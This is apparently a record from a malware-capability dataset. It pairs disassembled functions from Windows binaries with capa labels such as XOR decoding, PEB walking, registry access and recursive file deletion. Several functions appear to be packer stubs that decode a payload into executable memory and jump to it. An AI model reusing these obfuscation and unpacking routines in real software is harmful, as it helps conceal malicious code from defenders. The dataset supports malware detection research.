joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405cf0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push edi
xor edi, edi
test ebx, ebx
je 0x405ea2
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseEventLog]
nop dword [eax]
push 0
call esi
add byte [edi + ebp], 0x68
push 0
call esi
add byte [edi + ebp], 0x74
push 0
call esi
xor byte [edi + ebp], 0x94
push 0
call esi
add byte [edi + ebp], 0x9f
push 0
call esi
add byte [edi + ebp], 0xc6
push 0
call esi
add byte [edi + ebp], 0x6f
push 0
call esi
add byte [edi + ebp], 0x52
push 0
call esi
xor byte [edi + ebp], 0xb5
push 0
call esi
add byte [edi + ebp], 0x1a
push 0
call esi
add byte [edi + ebp], 0x4d
push 0
call esi
xor byte [edi + ebp], 0xde
push 0
call esi
add byte [edi + ebp], 0x7a
push 0
call esi
add byte [edi + ebp], 0xb8
push 0
call esi
add byte [edi + ebp], 0xc2
push 0
call esi
add byte [edi + ebp], 0xa
push 0
call esi
add byte [edi + ebp], 0x81
push 0
call esi
xor byte [edi + ebp], 0xde
push 0
call esi
add byte [edi + ebp], 0x70
push 0
call esi
add byte [edi + ebp], 0xe6
push 0
call esi
add byte [edi + ebp], 0xb3
push 0
call esi
add byte [edi + ebp], 0x84
push 0
call esi
add byte [edi + ebp], 0x1e
push 0
call esi
add byte [edi + ebp], 0x50
push 0
call esi
add byte [edi + ebp], 0xfe
push 0
call esi
add byte [edi + ebp], 0x1e
push 0
call esi
xor byte [edi + ebp], 0xf1
push 0
call esi
add byte [edi + ebp], 0xe8
push 0
call esi
add byte [edi + ebp], 0x16
push 0
call esi
add byte [edi + ebp], 0x30
push 0
call esi
add byte [edi + ebp], 0xe3
push 0
call esi
add byte [edi + ebp], 0x64
push 0
call esi
xor byte [edi + ebp], 0x16
push 0
call esi
xor byte [edi + ebp], 0xcd
push 0
call esi
xor byte [edi + ebp], 0x14
push 0
call esi
add byte [edi + ebp], 0xa6
push 0
call esi
add byte [edi + ebp], 0x19
push 0
call esi
xor byte [edi + ebp], 0x92
push 0
call esi
add byte [edi + ebp], 0xe1
push 0
call esi
add byte [edi + ebp], 0xf
push 0
call esi
xor byte [edi + ebp], 0xa8
push 0
call esi
add byte [edi + ebp], 0xca
push 0
call esi
xor byte [edi + ebp], 0x51
push 0
call esi
add byte [edi + ebp], 0xb
push 0
call esi
xor byte [edi + ebp], 0xeb
push 0
call esi
add byte [edi + ebp], 0x46
push 0
call esi
xor byte [edi + ebp], 0x21
push 0
call esi
inc byte [edi + ebp]
push 0
call esi
add byte [edi + ebp], 0x25
push 0
call esi
add byte [edi + ebp], 0x63
inc edi
cmp edi, ebx
jb 0x405d10
pop esi
pop ebp
pop edi
pop ebx
ret
Function at 0x4061b0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push esi
push edi
push 0
push str.Armor:__p
call fcn.00406210
add esp, 8
mov eax, 0x1a1
cmp eax, 0x24
ja 0x4061cd
call 0x3dcbc5e7
xor byte [eax], al
add byte [eax], al
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x45a400], eax
sub eax, eax
je 0x4061ec
call 0x7440ca3d
add eax, dword [eax]
push 0x37400
push section..Pack
call fcn.00405cf0
add esp, 8
call fcn.004059f0
pop edi
xor eax, eax
pop esi
ret

Function at 0x406bb1
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406bf0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406bf0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406bf0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406bf0
cmp dword [ecx + 0x74], 0xe
jbe 0x406bf0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d7f1
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41beb0
push 0x41bea8
push str.FlsAlloc
push 0x1e
call fcn.0040d6b2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d825
push dword [ebp + 8]
mov ecx, esi
call dword [0x41911c]
call esi
jmp 0x40d82b
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d86f
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41bec0
push 0x41beb8
push str.FlsGetValue
push 0x20
call fcn.0040d6b2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d8a6
push dword [ebp + 8]
mov ecx, esi
call dword [0x41911c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x4034cc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x4034db
pop dword [ebp - 0x40]
mov eax, 0x4034db
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x67c7bc5
sub dword [ebp - 0x50], 0xb82a367a
mov dword [ebp - 0x4c], 0xec2188cc
sub dword [ebp - 0x4c], 0xb9ee3c87
mov dword [ebp - 0x48], 0x235975c1
add dword [ebp - 0x48], 0x28f2ce6d
mov dword [ebp - 0x44], 0x4d0297a6
sub dword [ebp - 0x44], 0x4d0297a6
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x43fbeb76
add dword [ebp - 0x50], 0x30767de0
mov dword [ebp - 0x4c], 0xb9ac49b5
add dword [ebp - 0x4c], 0x87c017c0
mov dword [ebp - 0x48], 0xbe3b054f
add dword [ebp - 0x48], 0xa534671d
mov dword [ebp - 0x44], 0x44da311b
add dword [ebp - 0x44], 0xbb25cee5
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x38288
push 0
call eax
mov ecx, 0x8b57f511
add ecx, 0x74a85806
mov edx, eax
mov ebx, 0x408400
add ebx, dword [ebp - 0x40]
mov esi, 0x563f6ed8
add dword [ebp - 8], 0xfba38003
mov edi, dword [ebx]
xor dword [ebp - 0x30], 0x78b67109
sub edi, esi
add dword [ebp - 0x28], edx
mov dword [edx], edi
sub dword [ebp - 0x30], 0xcc30c126
add edx, 0xaa97d82a
sub edx, 0xaa97d826
add ebx, 0x4889d253
sub ebx, 0x4889d24f
loop 0x4035e2
add eax, 0x6b2d9ad9
add eax, 0x94d38c56
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x40100b
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x40109c
lea eax, [ebp - 0x104]
push eax
call fcn.004011ec
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401165
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401038
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a5
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401052
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a5
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x40114a
mov word [ebx], 0x5c
push 0x401023
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a5
mov dword [ebp - 0x108], eax
push 0x40102d
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x40119a
push 0x3e8
call eax
test eax, eax
je 0x40119a
call 0x40118a
add dword [esp], 0x1e76
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401096
push 0x401057
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret
Function at 0x408938
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop ecx
and edx, edx
call fcn.00408950
xor dword [esi], ecx
dec edx
inc esi
cmp esi, eax
jne fcn.00408938
and edx, edi
ret
Function at 0x402a28
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x423fd0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x402abc
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x402a79
cmp dword [ebp + 0x10], ebx
jne 0x402ab0
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp - 4]
call fcn.00402a28
test eax, eax
jne 0x402a8b
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402a60
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.00405bdb
cmp eax, ebx
je 0x402ac3
push ebx
push dword [0x423fd0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402abc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x423fd0], ebx
jne 0x402ab9
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402ab9
jmp 0x402abc
Function at 0x402e4a
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x402e67
mov dword [ebp - 8], RegEnumValueA
and dword [ebp - 4], 0
mov ebx, edi
test edi, edi
jne 0x402e76
mov ebx, 0x40f0d0
mov eax, dword [ebp + 8]
test eax, eax
jl 0x402e8b
mov ecx, dword [0x423f78]
add ecx, eax
push ecx
call fcn.00403079
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.00403047
test eax, eax
je 0x402ff2
test byte [ebp + 0x17], 0x80
je 0x402fdb
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x40b000
mov dword [ebp - 0xc], eax
call fcn.00405cb5
and dword [ebp + 0x14], 0x7fffffff
mov eax, dword [ebp + 0x14]
mov dword [ebp + 8], eax
jle 0x40303d
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x402edb
mov esi, dword [ebp + 0x14]
mov edi, 0x40b0d0
push esi
push edi
call fcn.00403047
test eax, eax
je 0x402ff2
sub dword [ebp + 0x14], esi
mov dword [0x40b018], edi
mov dword [0x40b01c], esi
mov eax, dword [ebp - 8]
mov ecx, 0x40b000
mov dword [0x40b020], ebx
mov dword [0x40b024], eax
call fcn.00405cd5
test eax, eax
mov dword [ebp - 0x14], eax
jl 0x402fd3
mov esi, dword [0x40b020]
sub esi, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test byte [0x423fd4], 1
mov edi, eax
je 0x402f7d
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x402f4a
cmp dword [ebp + 0x14], 0
jne 0x402f7d
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x54]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push 0
call fcn.00404c68
mov dword [ebp - 0xc], edi
xor eax, eax
cmp esi, eax
je 0x402fc8
cmp dword [ebp + 0x10], eax
jne 0x402fa6
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402fd7
cmp dword [ebp - 0x10], esi
jne 0x402fd7
add dword [ebp - 4], esi
jmp 0x402fbc
sub dword [ebp - 8], esi
add dword [ebp - 4], esi
cmp dword [ebp - 8], 1
mov ebx, dword [0x40b020]
jl 0x40303d
cmp dword [ebp - 0x14], 1
jne 0x402efe
jmp 0x40303d
cmp dword [ebp + 0x14], eax
jg 0x402ece
jmp 0x40303d
push 0xfffffffffffffffc
jmp 0x402ff4
push 0xfffffffffffffffe
jmp 0x402ff4
test edi, edi
je 0x403032
cmp dword [ebp + 0x14], esi
jge 0x402fe7
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.00403047
test eax, eax
jne 0x40303a
push 0xfffffffffffffffd
pop eax
jmp 0x403040
mov esi, dword [ebp - 8]
cmp dword [ebp + 0x14], esi
jge 0x403002
mov esi, dword [ebp + 0x14]
mov edi, 0x40b0d0
push esi
push edi
call fcn.00403047
test eax, eax
je 0x402ff2
lea eax, [ebp + 0x10]
push 0
push eax
push esi
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402fd7
cmp esi, dword [ebp + 0x10]
jne 0x402fd7
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x402ff7
jmp 0x40303d
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40512a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x422528], 0x44
push eax
xor eax, eax
push 0x422528
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x405165
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x4051ef
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [ebp + 8]
push esi
push ebx
call fcn.00405491
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], eax
test cl, 8
je 0x405225
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x423fa8], eax
jmp 0x4053aa
mov dword [ebp + 8], ecx
push edi
and dword [ebp + 8], 1
je 0x405240
test eax, eax
je 0x405355
test cl, 2
je 0x405355
mov esi, 0x421528
push ebx
push esi
call fcn.004058bd
cmp dword [ebp + 8], 0
je 0x40525f
push str..
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x405265
push ebx
call fcn.004053f7
push 0x40900c
push ebx
call sub.KERNEL32.dll_lstrcatA
push ebx
call sub.KERNEL32.dll_lstrlenA
mov edi, eax
lea eax, [ebp - 0x148]
push eax
push esi
add edi, ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x40534b
lea eax, [ebp - 0x11c]
push 0x3f
push eax
lea esi, [ebp - 0x11c]
call fcn.004053db
cmp byte [eax], 0
je 0x4052b6
cmp byte [ebp - 0x18], 0
je 0x4052b6
lea esi, [ebp - 0x18]
cmp byte [esi], 0x2e
jne 0x4052cc
mov al, byte [esi + 1]
test al, al
je 0x40532a
cmp al, 0x2e
jne 0x4052cc
cmp byte [esi + 2], 0
je 0x40532a
push esi
push edi
call fcn.004058bd
test byte [ebp - 0x148], 0x10
je 0x4052f1
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x40532a
push dword [ebp + 0xc]
push ebx
call fcn.004051ef
jmp 0x40532a
push ebx
call fcn.00405575
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x405322
test byte [ebp + 0xc], 4
je 0x40531a
push ebx
push 0xfffffffffffffff1
call fcn.00404c68
push 0
push ebx
call fcn.0040560b
jmp 0x40532a
inc dword [0x423fa8]
jmp 0x40532a
push ebx
push 0xfffffffffffffff2
call fcn.00404c68
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405294
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405355
and byte [edi - 1], 0
xor esi, esi
pop edi
cmp dword [ebp + 8], esi
je 0x4053aa
cmp dword [ebp - 8], esi
jne 0x40536a
inc dword [0x423fa8]
jmp 0x4053aa
push ebx
call fcn.00405bb4
test eax, eax
je 0x4053aa
push ebx
call fcn.004053b0
push ebx
call fcn.00405575
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x4053a2
test byte [ebp + 0xc], 4
je 0x405362
push ebx
push 0xfffffffffffffff1
call fcn.00404c68
push esi
push ebx
call fcn.0040560b
jmp 0x4053aa
push ebx
push 0xffffffffffffffe5
call fcn.00404c68
pop esi
pop ebx
leave
ret 8
Function at 0x405491
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x421928
push esi
call fcn.004058bd
push esi
call fcn.00405444
mov edi, eax
test edi, edi
jne 0x4054b2
xor eax, eax
jmp 0x405504
push edi
call fcn.00405b1b
test byte [0x423f34], 0x80
je 0x4054cb
mov al, byte [edi]
test al, al
je 0x4054ae
cmp al, 0x5c
je 0x4054ae
sub edi, esi
jmp 0x4054e3
call fcn.00405bb4
test eax, eax
je 0x4054dd
test byte [eax], 0x10
je 0x4054ae
push esi
call fcn.004053f7
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x4054cf
call fcn.004053b0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405575
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x405591
and al, 0xfe
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret 4

Function at 0x405594
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x4055c3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x405607
test edi, edi
jne 0x4055ce
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405601
Function at 0x40560b
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 1
call fcn.00405bdb
test eax, eax
mov esi, dword [esp + 0x18]
je 0x40562f
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x405768
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x4226b0], 0x4c554e
test esi, esi
mov edi, 0x400
mov ebp, 0x4226b0
je 0x405673
push 1
push 0
push esi
call fcn.00405594
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x40576e
cmp eax, edi
jg 0x40576e
mov esi, 0x422128
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x40576e
cmp eax, edi
jg 0x40576e
push esi
push ebp
push str._s_s_r_n
push 0x421d28
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x423f2c]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.004058df
push 4
push 0xc0000000
push esi
call fcn.00405594
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x14], ebp
je 0x405768
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405761
lea eax, [esp + 0x18]
push 0
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405761
cmp edi, dword [esp + 0x18]
jne 0x405761
push str._Rename__r_n
push esi
call fcn.00405509
test eax, eax
jne 0x405775
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call fcn.004058bd
add edi, 0xa
mov eax, edi
push ebx
add eax, esi
push 0x421d28
push eax
call fcn.00405555
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x18]
push 0
add edi, ebx
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [0x423fb0]
pop edi
pop esi
pop ebp
pop ebx
ret 8
add eax, 0xa
push 0x409398
push eax
call fcn.00405509
test eax, eax
je 0x40572c
inc eax
lea ecx, [esi + edi]
cmp eax, ecx
mov ebp, eax
jae 0x40579c
mov dl, byte [ebp]
mov byte [ebx + ebp], dl
inc ebp
cmp ebp, ecx
jb 0x405791
mov ebp, dword [esp + 0x14]
sub eax, esi
jmp 0x40572e
Function at 0x4057a4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
neg eax
sbb eax, eax
mov esi, dword [ebp + 0x14]
and eax, 0x100
or eax, 0x20019
mov byte [esi], bl
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405815
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0x400
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405804
cmp dword [ebp + 0x14], 1
je 0x405806
cmp dword [ebp + 0x14], 2
je 0x405806
mov byte [esi], bl
push dword [ebp + 0x18]
mov byte [esi + 0x3ff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x405c47
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422ab4], 0
push esi
jne 0x405c7e
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405c58
mov dword [ecx*4 + 0x422ab0], eax
inc ecx
cmp ecx, 0x100
jl 0x405c53
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405caf
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422ab0]
xor eax, esi
inc ecx
dec edx
jne 0x405c91
pop edi
not eax
pop esi
ret 0xc

Function at 0x4238a0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
cmp dword [0x42bc7c], 0
jne 0x4238c4
push 0x1019
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x4238c4
xor eax, eax
jmp 0x4238f9
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp eax, 0xfffffffe
je 0x4238d3
xor eax, eax
jmp 0x4238f9
push 0x11
call dword [sym.imp.USER32.dll_GetSystemMetrics]
cmp eax, 0x1f4
jle 0x4238f1
mov eax, section..text
sub eax, 0x51615
mov dword [0x42bc80], eax
mov eax, dword [0x42bc80]
add eax, 4
mov esp, ebp
pop ebp
ret

Function at 0x423a60
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
jmp 0x423a78
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jae 0x423b1c
mov edx, dword [ebp - 4]
sub edx, 0x231d
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
movzx edx, word [ecx + eax*2 + 0x463a]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
shr eax, 0xc
cmp eax, 3
jne 0x423b17
mov ecx, dword [ebp - 8]
push ecx
call fcn.00423f80
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
jne 0x423ad6
push 0x154b
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x423ad6
xor eax, eax
jmp 0x423b1c
mov edx, dword [ebp + 0x18]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax - 0x4c3f8]
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx]
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + edx]
add ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x18]
mov eax, dword [edx]
mov edx, dword [ebp + 0x10]
mov dword [edx + eax], ecx
mov eax, dword [ebp - 8]
sub eax, 0x4c3f8
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx]
sub edx, eax
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
jmp 0x423a6f
mov esp, ebp
pop ebp
ret
Function at 0x403d4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x403d59
pop dword [ebp - 0x1c]
mov eax, 0x403d59
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x3a351
push 0
mov eax, 0xc0a90e79
sub eax, 0xc0682db1
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0xeb2d2189
sub ecx, 0xeb2cd2fd
xor edi, edi
add edi, eax
mov ebx, 0x9cbf403a
add ebx, 0x638257c6
add ebx, dword [ebp - 0x1c]
mov esi, 0x33c52ac9
sub esi, 0x4c772510
xor dword [ebp - 4], 0xf988cd23
mov edx, dword [ebx]
mov dword [ebp - 0xc], 0x6248012
sub edx, esi
mov dword [ebp - 0x14], 0xabb1de7
mov dword [edi], edx
add dword [ebp - 0x10], 0x2fc23680
add edi, 4
add ebx, 0x6591e8d4
add ebx, 0x9a6e1730
loop 0x403db5
add eax, 0x12d03
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xaa91b476
sub ecx, 0xaa51b476
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret